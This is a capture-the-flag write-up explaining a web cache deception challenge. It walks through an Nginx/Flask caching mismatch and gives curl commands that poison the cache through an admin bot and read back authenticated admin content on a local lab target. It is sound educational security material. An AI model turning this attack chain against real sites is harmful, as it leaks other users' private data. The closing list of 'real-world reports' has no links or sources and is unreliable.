CDNio¶
Heads-up
Web Cache Deception
Findings¶
conf/nginx.conf:
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
proxy_cache cache;
proxy_cache_valid 200 3m;
proxy_cache_use_stale error timeout updating;
expires 3m;
add_header Cache-Control "public";
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
challenge/app/blueprints/main/routes.py:
Notes¶
Nginx regex location¶
What the dot means:
\.= literal dot- It matches file extensions:
.js,.png, etc. - Without the dot,
profilejswould also match, which is not intended.
This is a static-asset optimization rule:
- Regex location (
~*) → case-insensitive regex - Matches files that look static
- Enables:
proxy_cacheexpiresCache-Control: public
Key idea: Nginx decides cacheability purely on the URL shape, not the backend logic. - that’s the first crack in the wall.
Why we can path .ext → @main_bp.route('/<path:subpath>')?¶
Flask side (simplified):
Important detail:
<path:subpath>matches anything, including:profileprofile.jsprofile.pngfoo/bar/baz.css
Flask does not care about extensions. Nginx does.
So:
| URL | Flask | Nginx |
|---|---|---|
/profile |
dynamic | not cached |
/profile.js |
dynamic | cached |
/profile.png |
dynamic | cached |
This mismatch is intentional in the challenge.
That cursed regex¶
Why it’s wrong:
re.match()already anchors at the start^inside.*^profileis meaningless.*before^makes zero logical sense
Effectively, this does not enforce what the developer thinks.
They checking: "does the path start with profile?" not.
Result:
profileprofile.jsprofile.png
All pass and lets dynamic profile content be served under static-looking paths.
The attack chain¶
Your sequence:
curl -X POST /register
curl -X POST / # login → token
curl -X POST /visit # bot fetches profile.png
curl -X GET /profile.png # cached response
What actually happens when visit¶
/visitmakes the admin bot request:GET /profile.png Authorization: Bearer <ADMIN_JWT>- Nginx sees:
.pngextension- 200 response
- cacheable rule
- Nginx stores the response in:
/var/cache/nginx - Cache key does NOT include Authorization header by default
- You later request to:
GET /profile.png - Nginx serves the cached admin response to you
Authorization is stripped by cache design
Why /visit is the enabled¶
/visit is a trusted fetcher:
- Uses a privileged JWT
- Makes internal requests
- Has no cache awareness
Deep dive into nginx.conf¶
Process model¶
nobody: least-privilege userworker_processes 1: single worker (CTF simplicity)pid: process management
Events¶
- Max concurrent connections per worker.
HTTP block (important!)¶
- hides nginx version (cosmetic)
- MIME handling (cosmetic)
Cache definition (critical)¶
- Cache lives on disk
- Shared memory zone
cache - Cached responses persist for up to 60 minutes idle
- Plenty of space
Cache usage¶
- Cache any 200 OK
- For 3 minutes
- No
Vary: Authorization - No
proxy_no_cache $http_authorization
That omission is fatal.
Headers passed¶
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
But not:
So:
- Authenticated content is cached
- Auth context is lost
CDNio teaches¶
Important
- CDNs don’t know your app logic
- Extensions ≠ static
- Regex ≠ security
- JWTs can be perfectly fine and still useless
- Caching + SSRF = privilege inversion
No crypto break. No JWT forgery. Just layer confusion.
- Or map it to real-world CDN bugs (Cloudflare/Akamai class)
Exploit¶
Tip
Create and Authenticate a User¶
curl -X POST "http://localhost:1337/register" \
-H "Content-Type: application/json" \
-d '{ "username": "idapp", "password": "1234qwer", "email": "id@app.com" }'
token=$(curl -X POST "http://localhost:1337/" \
-H "Content-Type: application/json" \
-d '{ "username": "idapp", "password": "1234qwer" }' | jq -r '.token') && echo $token
Poison the Cache by triggerin the admin bot to visit a cacheable path¶
curl -X POST "http://localhost:1337/visit" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $token" \
-d '{ "uri": "profile.png" }'
internally:
- Admin bot requests
/profile.png - Flask serves admin profile data
- Nginx caches the response due to
.pngextension - Authorization context is discarded
Retrieve Cached Admin Content¶
Gotcha
CDNio abuses a mismatch between Nginx’s extension-based caching and Flask’s path-based routing, allowing an admin SSRF to cache authenticated dynamic content under a static file extension and leak it to unauthenticated users.
Below is a curated list of real-world CDN / cache vulnerabilities, mostly from bug bounty reports, that closely mirror the concepts used in CDNio. I’m keeping this links + short descriptions only, as requested.
Real-world Reports¶
Web Cache Deception / Cache Poisoning¶
- Cloudflare – Web Cache Deception:
Static-looking URLs (
.css,.jpg) caused Cloudflare to cache authenticated responses, leaking private user data to unauthenticated users. - Shopify – Cache Deception via File Extensions: Shopify cached user-specific pages when accessed with static extensions, allowing attackers to retrieve other users’ private information.
- GitHub Pages – Cache Poisoning: Improper cache key handling allowed poisoned responses to be served to other users via CDN edge nodes.
- Slack – Cache Poisoning Leading to Account Data Exposure: Authenticated content was cached due to missing authorization headers in cache keys, resulting in data leakage.
- Cloudflare – Authorization Header Not Respected: Responses were cached even when authorization headers were present, enabling cross-user data exposure.
SSRF + CDN / Bot Interaction¶
- GitLab – SSRF via Internal Bot: An
internal service with elevated privileges could be abused to make
authenticated internal requests, similar to CDNio’s
/visitendpoint. - Uber – SSRF with Internal Admin Context: Server-side request functionality allowed attackers to make privileged internal requests as trusted services.
Cache Key Misconfiguration¶
- Akamai – Cache Key Normalization Bug: Improper normalization of cache keys resulted in poisoned cache entries being reused across users.
- Fastly – Host Header Cache Poisoning: Cache keys failed to correctly isolate host headers, allowing content to be served across domains.
Modern CDN Edge Logic Bugs¶
- Cloudflare Workers – Cache Isolation Failure: Edge worker logic cached responses without user isolation, leaking personalized data across sessions.